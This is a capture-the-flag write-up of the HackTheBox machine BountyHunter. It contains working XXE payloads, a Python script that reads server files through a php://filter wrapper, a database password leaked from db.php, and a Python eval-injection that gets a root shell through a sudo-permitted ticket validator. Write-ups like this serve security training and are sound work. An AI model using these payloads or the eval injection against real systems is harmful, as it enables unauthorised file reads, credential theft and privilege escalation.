BountyHunter features a website that is vulnerable to XXE attack. Exploiting it allows me to retrieve the user credentials from the source code. For the root part, there is an internal tool for ticket validation which can be exploited by leveraging the Python eval function to pops a root shell.

Skills Learned

  • XXE attack
  • Code injection

Tools

  • Nmap
  • Burp Suite

Reconnaissance

Nmap

A full tcp scan with nmap reveals two open ports: SSH and an Apache web server.

→ kali@kali «bountyhunter» «10.10.14.23» 
$ nmap -p- --min-rate 1000 -oA nmap/10-tcp-allport-bounty 10.10.11.100
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-29 12:49 EDT
Nmap scan report for 10.10.11.100
Host is up (0.060s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 48.51 seconds
→ kali@kali «bountyhunter» «10.10.14.23» 
$ nmap -sC -sV -p22,80 --min-rate 1000 -oA nmap/10-tcp-allport-script-bounty 10.10.11.100
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-29 12:52 EDT
Nmap scan report for 10.10.11.100
Host is up (0.055s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.30 seconds

Enumeration

TCP 80 - Website

Visiting port 80 shows a portfolio website that is similar with one of the HTB web challenges: Freelancer.

image-20210730203525289

Clicking on portal redirects to /portal.php, and the page is under development.

image-20210730204150975

Clicking the ‘here’ text points to /log_submit.php. There is a form there and I can submit some inputs.

image-20210730205749566

By observing the traffic, I can see that the form data is submitted to trackerdiRbpr00f314.php.

image-20210730204826225

It seems the submitted data is converted to an xml document and encoded in base64

→ kali@kali «bountyhunter» «10.10.14.29» 
$ echo 'PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5kZG9zPC90aXRsZT4KCQk8Y3dlPmN3ZS01MDA8L2N3ZT4KCQk8Y3Zzcz4xMDwvY3Zzcz4KCQk8cmV3YXJkPjEkPC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+' | base64 -d
<?xml  version="1.0" encoding="ISO-8859-1"?>
                <bugreport>
                <title>ddos</title>
                <cwe>cwe-500</cwe>
                <cvss>10</cvss>
                <reward>1$</reward>
                </bugreport>

Further observation reveals a web directory which has directory listing enabled.

image-20210730204030384

The contents of readme.txt contains some to do list.

image-20210730203939994

Foothold

XXE

PoC

Seeing XML document submitted in base64 encoded leads to an assumption of XXE attack. I will use the following payload to test the attack.

→ kali@kali «exploits» «10.10.14.29» 
$ cat xxe1.test 
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE bugreport [<!ENTITY passwd SYSTEM "file:///etc/passwd" >] >
<bugreport>
 <title>&passwd;</title>
 <cwe>cwe-500</cwe>
 <cvss>10</cvss>
 <reward>1$</reward>
</bugreport>
→ kali@kali «exploits» «10.10.14.29» 
$ cat xxe1.test | base64 -w 0   
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGJ1Z3JlcG9ydCBbPCFFTlRJVFkgcGFzc3dkIFNZU1RFTSAiZmlsZTovLy9ldGMvcGFzc3dkIiA+XSA+CjxidWdyZXBvcnQ+CiA8dGl0bGU+JnBhc3N3ZDs8L3RpdGxlPgogPGN3ZT5jd2UtNTAwPC9jd2U+CiA8Y3Zzcz4xMDwvY3Zzcz4KIDxyZXdhcmQ+MSQ8L3Jld2FyZD4KPC9idWdyZXBvcnQ+Cg==

I will intercept the submit request and put my payload there.

POST /tracker_diRbPr00f314.php HTTP/1.1
Host: 10.10.11.100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 323
Origin: http://10.10.11.100
Connection: close
Referer: http://10.10.11.100/log_submit.php


data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGJ1Z3JlcG9ydCBbPCFFTlRJVFkgcGFzc3dkIFNZU1RFTSAiZmlsZTovLy9ldGMvcGFzc3dkIiA%2bXSA%2bCjxidWdyZXBvcnQ%2bCiA8dGl0bGU%2bJnBhc3N3ZDs8L3RpdGxlPgogPGN3ZT5jd2UtNTAwPC9jd2U%2bCiA8Y3Zzcz4xMDwvY3Zzcz4KIDxyZXdhcmQ%2bMSQ8L3Jld2FyZD4KPC9idWdyZXBvcnQ%2bCg%3d%3d

When I submit, it returns with:

image-20210730205835371

It was vulnerable!

Shell as Development

File Read

I created a Python script to exploit the XXE and grab the file contents.

import requests
import sys

try:
    file_to_read = sys.argv[1]
except IndexError:
    print('[-] Usage: %s <file-to-read>' % sys.argv[0])
    sys.exit(-1)

target_url = "http://10.10.11.100/tracker_diRbPr00f314.php"
proxies = {
        "http": "http://127.0.0.1:8080"
}


from base64 import b64encode
xxe_payload = f"""
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE bugreport [<!ENTITY xxe SYSTEM "file://{file_to_read}" >]
<bugreport>
 <title>&xxe;</title>
 <cwe>cwe-500</cwe>
 <cvss>10</cvss>
 <reward>1$</reward>
</bugreport>
"""

xxe_payload_b64 =  b64encode(xxe_payload.strip().encode('ascii')).decode('UTF-8')
#print(f"[+] Crafted payload \n{xxe_payload_b64}")

data = {
	'data': xxe_payload_b64
}

xxe_resp = requests.post(target_url, data=data, proxies=proxies, verify=False)

if "cwe-500" not in xxe_resp.text:
	print("[-] Something went wrong")
	sys.exit(-1)

from bs4 import BeautifulSoup
soup = BeautifulSoup(xxe_resp.text, features="lxml")
output = [tag.text for tag in soup.find_all("td")]
print(output[1])

But when I try to use this script to read PHP files, it fails

→ kali@kali «exploits» «10.10.14.29» 
$ python3 bountyhunters_xxe.py /var/www/html/index.php           
[-] Something went wrong

This time I modified the script and used the PHP wrapper.

...[SNIP]...
<!DOCTYPE bugreport [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource={file_to_read}" >] > 
...[SNIP]...
from bs4 import BeautifulSoup
soup = BeautifulSoup(xxe_resp.text, features="lxml")
output = [tag.text for tag in soup.find_all("td")]
from base64 import b64decode
print(b64decode(output[1]).decode('UTF-8'))

And it worked.

→ kali@kali «exploits» «10.10.14.29» 
$ python3 bountyhunters_xxe_filter.py /var/www/html/tracker_diRbPr00f314.php
<?php

if(isset($_POST['data'])) {
$xml = base64_decode($_POST['data']);
libxml_disable_entity_loader(false);
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
$bugreport = simplexml_import_dom($dom);
}
?>
If DB were ready, would have added:
<table>
  <tr>
    <td>Title:</td>
    <td><?php echo $bugreport->title; ?></td>
  </tr>
  <tr>
    <td>CWE:</td>
    <td><?php echo $bugreport->cwe; ?></td>
  </tr>
  <tr>
    <td>Score:</td>
    <td><?php echo $bugreport->cvss; ?></td>
  </tr>
  <tr>
    <td>Reward:</td>
    <td><?php echo $bugreport->reward; ?></td>
  </tr>
</table>

There is a database connection file (/var/www/html/db.php) that contains DB credentials.

→ kali@kali «exploits» «10.10.14.29» 
$ python3 bountyhunters_xxe_filter.py /var/www/html/db.php   
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

SSH

The database password works on user development (from /etc/passwd).

 kali@kali «exploits» «10.10.14.29» 
$ ssh development@10.10.11.100
development@10.10.11.100's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

...[SNIP]...

  System information as of Fri 30 Jul 2021 03:28:24 PM UTC

  System load:           0.0
  Usage of /:            38.4% of 6.83GB
  Memory usage:          30%
  Swap usage:            0%
  Processes:             214
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.100
  IPv6 address for eth0: dead:beef::250:56ff:feb9:cb7f

...[SNIP]...

Last login: Fri Jul 30 13:44:59 2021 from 10.10.14.42
development@bountyhunter:~$ id
uid=1000(development) gid=1000(development) groups=1000(development)

Privilege Escalation

Shell as root

Enumeration

At current home directory, there are some plain text files.

development@bountyhunter:~$ ls -l
total 12
-rw-r--r-- 1 root        root        471 Jun 15 16:10 contract.txt
-r--r----- 1 root        development  33 Jul 30 05:20 user.txt

The content of contract.txt.

development@bountyhunter:~$ cat contract.txt 
Hey team,

I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.

This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.

I set up the permissions for you to test this. Good luck.

-- John

This user also has sudo permissions on the mentioned internal tool called ticketValidator.py.

development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

Source Analysis

ticketValidator.py:

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

I’m bad at python, but I can see where is the goal from that script, it’s this line

validationNumber = eval(x.replace("**", ""))

So the flow is: ask a file -> load the file (markdown extension) -> some unique evaluation -> eval function.

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

Exploitation

To exploit this script, I can just create a md file, and the first three line are:

# Skytrain Inc
## Ticket to me
__Ticket Code:__

Now in the fourth line, I can inject a Python code such as:

**32+0==32 and __import__('os').system('cat /root/root.txt')

As long as the number has 4 as the remainder when mod by 7, it can pass these lines and it will be eval-ed and executed as 32+0==32 and __import__('os').system('cat /root/root.txt').

if code_line and i == code_line:
    if not x.startswith("**"):
        return False
    # ["32", "0==32 and __import__('os').system('cat /root/root.txt')"]
    ticketCode = x.replace("**", "").split("+")[0] # 32
    if int(ticketCode) % 7 == 4:
        validationNumber = eval(x.replace("**", ""))

os.system([command]) returns value of 0 if the execution is success.

The complete file:

development@bountyhunter:/dev/shm$ cat iamf.md
# Skytrain Inc
## Ticket to me
__Ticket Code:__
**32+0==32 and __import__('os').system('cat /root/root.txt')

Now I can run and supply my ticket file.

development@bountyhunter:/dev/shm$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py 
Please enter the path to the ticket file.
iamf.md
Destination: me
70cfb26382b7af00c95360e142894b1f
Invalid ticket.

For shell, I can just change the fourth line to execute bash.

**32+0==32 and __import__('os').system('/bin/bash')

And done.

development@bountyhunter:/dev/shm$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py 
Please enter the path to the ticket file.
iamf.md
Destination: me
root@bountyhunter:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root)
root@bountyhunter:/dev/shm# ls -l /root/
total 8
-r-------- 1 root root   33 Jul 30 16:38 root.txt
drwxr-xr-x 3 root root 4096 Apr  5 22:48 snap
root@bountyhunter:/dev/shm#